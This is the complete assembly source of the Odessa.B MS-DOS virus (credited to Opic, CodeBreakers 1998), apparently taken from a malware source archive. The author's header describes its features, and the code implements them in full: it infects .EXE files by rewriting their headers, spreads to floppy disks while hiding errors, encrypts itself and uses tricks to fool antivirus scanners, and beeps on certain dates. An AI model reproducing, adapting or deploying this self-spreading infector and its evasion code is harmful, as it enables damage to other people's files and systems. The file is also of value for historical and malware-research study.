MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.odessa.asm

410 lines
13 KiB
NASM
Raw Normal View History

2021-01-12 23:52:14 +00:00
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; Odessa.B virus
; (C) Opic [CodeBreakers '98]
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;Odessa.B variant is a continuation of Odessa (aka opic.727)
;
;Odessa.B's NEW features:
;
;-Odessa.B will NOW infect .Exe files present on any floppy disks
; undetectably (due to a critical error handler). It does so after
; the current HDD is infected. When Odessa.B is present on a floppy
; disk it will move imediatly to the HDD to insure infection of new systems.
;Thus making it a viable floppy born virus (one of the few outside of the
;BS/MBR families)
;
;-an expanded encryption loop
;
;-some minor bug fixes, and optimisations.
;
;Infected files grow approximatly: 745 bytes
;
;Old features:
;
;-Exe file infector
;-directory transversal via dotdot
;-is Windows compatable (ie: will not infect: Windows NE, PE, LE files ect.)
;-some anti-emulation
;-payload criteria: the virus will activate its payload on
; either the 13th or the 6th of any given month provided the seconds
; are below 30.
;
;-payload: when activated the virus will beep 6 times before the
; infected file is run. I choose this more subtle payload because
;it is easily missed, and only creates a bit of curiosity at most.
;which is a good aspect since the fact that all infected files will
;try to access the floppy drive before running also brings some curious.
;Its also somewhat humerous because the telltale signs of this virus
;are also what many non-computer literate people constantly write to
;AVers about complaining of (to which the AVs constant reply is:
;false alarm. There is a signature line:
;Odessa.B (c) Opic [Codebreakers 1998]
;I have left for the AV to rename for me, as it is never displayed
;(hell i figure their gonna anyways :P ).
;
;detected: Not detected by TBAV as second gen.
;
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Exe_Infector Segment
Assume CS:Exe_Infector, SS:Exe_Infector, DS:Exe_Infector, ES:Exe_Infector
jumps
start: ;set registers up
dec cx ;lame loop
noav1:
jmp noav2
mov ax,4c00h
int 21h
noav2:
loop noav1 ;end of antiheur
push ds
push es
push cs
push cs
pop ds
pop es
Call delta
delta: ;delta offset
pop bp
sub bp,offset delta
lea si,[bp+Begin_Virus]
mov di,si
mov cx,End_Virus-Begin_Virus
call encrypt
jmp Begin
encrypt:
lodsb
NEG al ;<-------------13
ROR al,4 ;<------------12
NOT al ;<-----------11
ROR al,4 ;<----------10
NOT al ;<---------9
NEG al ;<--------8
ROL al,4 ;<-------7
NOT al ;<------6
ROL al,4 ;<-----5
NOT al ;<----4
ROR al,4 ;<---3
NEG al ;<--2
NOT al ;<-1
ROR al,4 ;<0 this huge loop may
NOT al ;<-1 look silly but it
NEG al ;<--2 kills alot of AV
ROR al,4 ;<---3 scanners due becuz
NOT al ;<----4 they think it is
ROL al,4 ;<-----5 endless
NOT al ;<------6
ROL al,4 ;<-------7
NEG al ;<--------8
NOT al ;<---------9
ROR al,4 ;<----------10
NOT al ;<-----------11
ROR al,4 ;<------------12
NEG al ;<-------------13
stosb
loop encrypt
ret
Begin_Virus:
Check_Payload proc
mov ah,2ah ;system date
int 21h
cmp dl,13 ;is it the 31st if the month?
je sec ;yes? test seconds!
cmp dl,6 ;13th ?
je sec ;yes seconds!
jmp CP_Exit ;no? restore.
sec:
mov ah,2Ch ;check time
int 21h
cmp dh,30d ;seconds less then 30?
jnb CP_Exit ;if yes->payload
call Payload
CP_Exit:
ret
Check_Payload endp
Payload proc
mov ah,0eh ;back to c:\
mov dl,02h
int 21h
mov cx,6 ;beep 6 times.
beep:
mov al,7
int 29h
loop beep
ret
Payload endp
Infect proc
mov ax,3d02h ;open file
lea dx,[bp+End_Virus+1eh]
int 21h
mov bx,ax ;file handleto bx
mov ah,3fh ;exe head into buffer
lea dx,[bp+header]
mov cx,1ah
int 21h
cmp word ptr cs:[bp+header],'MZ' ;check .exe signature
je its_exe
cmp word ptr cs:[bp+header],'ZM'
je its_exe
jmp close
its_exe:
cmp byte ptr cs:[bp+header+12h],'B' ;our infection check
jne not_infected
jmp close
not_infected:
mov ax, word ptr cs:[bp+header+18h] ;make sure its not a
;windbloze exe (pe,ne,le .ect)
cmp ax, 40h
jae close ; > or = means windbloze
mov ax,word ptr cs:[bp+header+0eh] ;save orginal info from header
mov word ptr cs:[bp+old_ss],ax ;stack segment
mov ax,word ptr cs:[bp+header+10h] ;stack pointer
mov word ptr cs:[bp+old_sp],ax
mov ax,word ptr cs:[bp+header+14h] ;instructional pointer
mov word ptr cs:[bp+old_ip],ax
mov ax,word ptr cs:[bp+header+16h] ;code segment
mov word ptr cs:[bp+old_cs],ax ;cs:ip =begining of excutable code
mov ax,4202h ;EOF
xor cx,cx
xor dx,dx
int 21h
push ax ;save file size
push dx
push ax
mov ax,word ptr cs:[bp+header+8] ;header size
shl ax,4 ;convert
mov cx,ax ;save header size in cx
pop ax ;restore ax
sub ax,cx ;subtract header from file size to get code and data size
sbb dx,0
mov cx,10h
div cx
mov word ptr cs:[bp+header+14h],dx ;IP create new header
mov word ptr cs:[bp+header+16h],ax ;CS
mov word ptr cs:[bp+header+0Eh],ax ;SS
mov word ptr cs:[bp+header+10h],0fffeh ;SP
mov word ptr cs:[bp+header+12h],'B' ;marker
pop dx ;restore filesize
pop ax ;dx to ax
add ax,End_Virus-start
adc dx,0
mov cx,512 ;divide new filesize by 512
div cx
cmp dx,0
je no_remainder
inc ax
no_remainder:
mov word ptr cs:[bp+header+4],ax ;save new filesize
mov word ptr cs:[bp+header+2],dx
lea si,[bp+Begin_Virus] ;crypt virus
lea di,[bp+Buffer]
mov cx,End_Virus - Begin_Virus
call encrypt
mov ah,40h ;write decryptor
mov cx,Begin_Virus - start
lea dx,[bp+start]
int 21h
mov ah,40h ;write encrypted portion
mov cx,End_Virus - Begin_Virus
lea dx,[bp+Buffer]
int 21h
mov ax,4200h ;SOF
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ;write new header
lea dx,[bp+header]
mov cx,1ah
int 21h
close:
mov ah,3eh
int 21h
ret
Infect endp
ni24h proc ;
mov al,3 ;ignore error
iret ;critical error handler
ni24h endp
Search proc
mov ax,3524h ;critical error handler
int 21h
push bx ;saves orig
push es ;stuffs to restore later
mov ah,25h
lea dx,[bp+ni24h]
int 21h
push ds ;ES was changed by 3524h but you need it
pop es ;to be restored for the crypt procedure.
first:
mov ah,4eh ;find first
lea dx,[bp+filespec]
mov cx,7
findnext:
int 21h
jc findover ;no? get out!
call Infect ;yes and infect!
mov ah,4fh ;find next
jmp findnext
findover:
mov ah,3Bh ;change dirs
lea dx,[bp+dotdot] ;to root
int 21h ;now
jnc first ;find first file
get_cur_drive:
mov ah,19h ;what drive are we on?
int 21h
cmp al,00h ;if already floppy
je Search_Exit ;we can leave now.
mov ah,0eh ;select default drive
mov dl,00h ;this time the floppy drive
int 21h
jmp first ;exe on floppy?
Search_Exit:
pop ds
pop dx
mov ax,2524h
int 21h
ret
Search endp
Begin proc
mov ah,2fh ;get current dta
int 21h
push es ;save it
push bx
push cs ;restore es
pop es
mov ah,1ah ;set new dta to end of virus
lea dx,[bp+End_Virus]
int 21h
mov ah,0eh ;select default drive (main HDD)
mov dl,02h ;c:\
int 21h ;so our virus can move from
;a floppy to a new HDD without
;any help
lea si,[bp+old_ip]
lea di,[bp+original_ip]
mov cx,4
rep movsw
call Search
call Check_Payload
mov ah,0eh ;back to c:\
mov dl,02h
int 21h
restore: ;restore prev location DTA
pop dx
pop ds
mov ah,1ah ;reset dta
int 21h
pop ds
pop es
mov ax,es ;es points to PSP
add ax,10h
add word ptr cs:[bp+original_cs],ax
cli ;ints off!
add ax,word ptr cs:[bp+original_ss]
mov ss,ax
mov sp,word ptr cs:[bp+original_sp]
sti ;ints on!
Begin endp
db 0eah
original_ip dw ?
original_cs dw ?
original_ss dw ?
original_sp dw ?
old_ip dw offset Exit
old_cs dw 0000h
old_ss dw 0000h
old_sp dw 0fffeh
filespec db '*.exe',0
dotdot db '..',0
sig db 'Odessa.B (c) Opic [Codebreakers 1998]',0
header db 1ah DUP(?)
End_Virus db 42 dup(?)
Buffer equ this byte+80h
db 1024 dup(?)
Entry proc
mov bp,0000h
push ds
push es
push cs
pop ds
push cs
pop es
jmp Begin
Entry endp
Exit proc ;<- Begin procedure
mov ax,4c00H
int 21h
Exit endp ;<- End procedure
Exe_Infector Ends
End Entry